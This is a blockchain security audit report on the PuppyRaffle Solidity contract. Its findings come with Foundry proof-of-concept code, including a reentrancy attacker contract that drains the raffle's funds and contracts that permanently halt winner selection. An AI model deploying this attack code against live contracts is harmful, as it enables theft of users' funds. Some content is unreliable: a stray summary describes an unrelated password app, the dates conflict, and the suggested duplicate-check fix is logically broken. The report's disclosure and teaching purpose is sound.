Protocol Audit Report

Version 1.0

maikelordaz@gmail.com

April 22, 2024

Protocol Audit Report

Maikel Ordaz

April 07, 2024

Prepared by: Maikel Ordaz Lead Security Researcher:

- Maikel Ordaz

Table of Contents

    * [H-3] Integer overflow of `PuppyRaffle::totalFees` in `PuppyRaffle::selectWinner` can lead to unexpected behavior
    * [H-4] Malicious winner can forever halt the raffle
  - Medium
    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants
    * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly may think they have not entered the raffle
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of solidity is not recommended
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follows CEI, which is not a best practice
    * [I-5] Use of "magic numbers" is descouraged
    * [I-6] Unchanged variables should be constant or immutable
    * [I-7] Potentially erroneous active player index
    * [I-8] Zero address may be erroneously considered an active player
  - Gas
    * [G-1] Unchanged state variables should be declared as constants or immutables
    * [G-2] Refactor for loops

Protocol Summary

PasswordStore is a smart contract application for storing a password. Users should be able to store a password and then retrieve it later. Others should not be able to access the password.

Disclaimer

Maikel Ordaz, as a Blockchain Security Researcher makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	1
Info	8
Gas	2
Total	19

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows reentrant to drain raffle entrance

Description: The `PuppyRaffle::refund` function does not follows the CEI (Checks, Effects, Interactions) and, and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after that external call we update the `PuppyRaffle::players` array

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player that entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until they drained all the contract balance

Impact: All fees paid by raffle entrants could be stolen by the malicious participant

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Paste and execute the next test in `PuppyRaffleTest.t.sol`

Test code

```
    function test_reentrancyRefund() public {
        // Four players into the raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
           attackerContract)
            .balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
           balance;

        // Attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "Starting attacker contract balance: ",
            startingAttackContractBalance
        );
        console.log(
            "Starting puppyRaffle balance: ",
            startingPuppyRaffleBalance
        );

        console.log(
            "Ending attacker contract balance: ",
            address(attackerContract).balance
        );
        console.log(
            "Ending puppyRaffle balance: ",
            address(puppyRaffle).balance
        );

        assert(address(puppyRaffle).balance == 0);
    }
```

And this contract as well

Attacker contract code

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Week randomnes in `PuppyRaffle::selectWinner` allows users to influence the outcome of the raffle

Description: Hashing `msg.sender` and `block.timestamp` is not a secure way to generate randomness. An attacker could influence the outcome of the raffle by manipulating the `block.timestamp` or by creating multiple wallets to increase their chances of winning

Note: This additionally means users can front-run the raffle and know the outcome before it happens

```
    function selectWinner() external {
        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        );
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
@>      uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp, block.
                   difficulty)
            )
        ) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;

        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to
           determine rarity
@>      uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
           winner");
```

```
            _safeMint(winner, tokenId);
        }
```

Impact: Any user can influenc the winner of the raffle, winning the prize pool and selecting the `rarest` puppy

Proof of Concept:

1. Validators can know ahead the `block.timestamp` and `block.difficulty` and use that to predict when/how to enter the raffle.
2. `block.dificulty` was recently replaced by `block.prevrandao`

Recommended Mitigation: Consider using a criptographically secure random number generator (RNG) like Chainlink VRF or Oraclize. This will ensure that the winner is selected in a secure and fair way.

[H-3] Integer overflow of `PuppyRaffle::totalFees` in `PuppyRaffle::selectWinner` can lead to unexpected behavior

Description: In solidity versions prior to `0.8.0` integers overflow silently, which can lead to unexpected behavior. In the `PuppyRaffle::selectWinner` function, we increment the `PuppyRaffle::totalFees` variable without checking for overflow

```
@>      totalFees = totalFees + uint64(fee);
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. If `totalFees` overflows, the `feeAddress` will not be able to collect the fees correctly, leaving them stuck in the contract

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will overflow
4. Lastly you will not be able to withdraw the fees because of this line if someone use selfdestruct to send ETH to the contract

```
require(address(this).balance >= totalFees, "PuppyRaffle: Not enough
    balance to withdraw fees");
```

Use the next test in `PuppyRaffleTest.t.sol`

Test code

```
    function test_feesOverflow() external playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 startingFees = puppyRaffle.totalFees();

        uint256 newPlayers = 89;
        address[] memory players = new address[](newPlayers);

        for (uint256 i = 0; i < newPlayers; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * newPlayers}(
           players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 endingFees = puppyRaffle.totalFees();

        assert(endingFees < startingFees);

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations

1. Use `SafeMath` to prevent overflow
2. Use newer versions of Solidity that revert on overflow, and uint256 instead of uint64
3. Remove the require statement

```
-       require(address(this).balance >= totalFees, "PuppyRaffle: Not
    enough balance to withdraw fees");
```

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loopsvthrough the `PuppyRaffle::players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address is an additional check in the loop.

```
@> for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept: If we have two sets of 100 players enter the gas costs will be as such: - 1st 100 players: ~6252047 gas - 2nd 100 players: ~18068137 gas

This is more than 3x more expensive for the second 100 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        uint256 playersNumber = 100;
        address[] memory players = new address[](playersNumber);
        for (uint256 i = 0; i < playersNumber; i++) {
            players[i] = address(i);
        }

        uint256 gasBefore = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
            players);
        uint256 gasAfter = gasleft();

        uint256 gasUsedFirst = (gasBefore - gasAfter) * tx.gasprice;

        console.log("Gas used for 100 players: ", gasUsedFirst);

        address[] memory secondPlayers = new address[](playersNumber);
        for (uint256 i = 0; i < playersNumber; i++) {
            secondPlayers[i] = address(i + playersNumber); // 100
                addresses
        }

        uint256 gasBeforeSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
            secondPlayers
        );
        uint256 gasAfterSecond = gasleft();

        uint256 gasUsedSecond = (gasBeforeSecond - gasAfterSecond) *
            tx.gasprice;

        console.log("Gas used for 100 players: ", gasUsedSecond);

        assert(gasUsedSecond > gasUsedFirst);
     }
```

Recommended Mitigation: There are a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Use OpenZeppelin's `EnumerableSet` library
3. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered

Recommended code

```
+    mapping (address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;

     function enterRaffle(address[] memory newPlayers) public payable {
         require(
             msg.value == entranceFee * newPlayers.length,
             "PuppyRaffle: Must send enough to enter raffle"
         );
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }

-        // Check for duplicates
+        for (uint256 i = 0; i < newPlayers.length - 1; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(
-                    players[i] != players[j],
-                    "PuppyRaffle: Duplicate player"
-                );
-            }
-        }
         emit RaffleEnter(newPlayers);
     }


     function selectWinner() external {
+        raffleId++;
         require(
             block.timestamp >= raffleStartTime + raffleDuration,
             "PuppyRaffle: Raffle not over"
         );
```

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
     function withdrawFees() external {
```

```
@>      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
            );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
```

```
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
```

```
+        totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly may think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the NatSpec, it will return 0 if the player is not in the array

```
@>  /// @return the index of the player in the array, if they are not
    active, it returns 0
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
                }
            }
@>          return 0;
        }
```

Impact: A player at index 0 to incorrectly may think they have not entered the raffle, and attempt to enter again, waisting money and gas

Proof of Concept:

1. Player 0 enters the raffle
2. Player 0 calls `PuppyRaffle::getActivePlayerIndex` and receives 0
3. Player 0 thinks they have not entered the raffle according the documentation, and attempts to enter again

Recommended Mitigation: The easiest would be to revert if the player is not in the array, insntead of returning 0. Or return an `int256` and return `-1` if the player is not in the array

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 4

  ```
  pragma solidity ^0.7.6;
  ```

[I-2]: Using an outdated version of solidity is not recommended

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Description: Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 75

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 231

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` does not follows CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions) pattern. In the `PuppyRaffle::selectWinner` function, we first make an external call to the `msg.sender` address and only after that external call we update the `PuppyRaffle::players` array

```
+    _safeMint(winner, tokenId);
     (bool success, ) = winner.call{value: prizePool}("");
     require(success, "PuppyRaffle: Failed to send prize pool to winner"
        );
-    _safeMint(winner, tokenId);
```

[I-5] Use of "magic numbers" is descouraged

It can be confusing to see numbers literals in a codebase, and it's much more readable if the numbers are declared and given some names.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas

[G-1] Unchanged state variables should be declared as constants or immutables

Reading from storage is more expensive than reading from constant or immutable variables

Instances: - `PuppyRaffle::raffleDuration` should be immutable - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::COMMON_RARITY` should be constant - `PuppyRaffle::COMMON` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::RARE_RARITY` should be constant - `PuppyRaffle::RARE` should be constant - `PuppyRaffle::legendaryImageUri` should be constant - `PuppyRaffle::LEGENDARY_RARITY` should be constant - `PuppyRaffle::LEGENDARY` should be constant

[G-2] Refactor for loops

Every time you read from storage is more expensive than from memory that is more gas efficient, also there is no need to initialize variables to default values, and you can use unchecked blocks and change i++ for ++i

```
+        uint256 playersLength = players.length
+        for (uint256 i = 0; i < playersLength;) {
-        for (uint256 i = 0; i < players.length - 1; i++) {
+            for (uint256 j = i; j < playersLength;) {
-            for (uint256 j = i + 1; j < players.length; j++) {
                 require(
                     players[i] != players[j],
                     "PuppyRaffle: Duplicate player"
                 );
+                unchecked {
+                    ++j;
+                }
             }
+            unchecked {
+                ++i
+            }
         }
```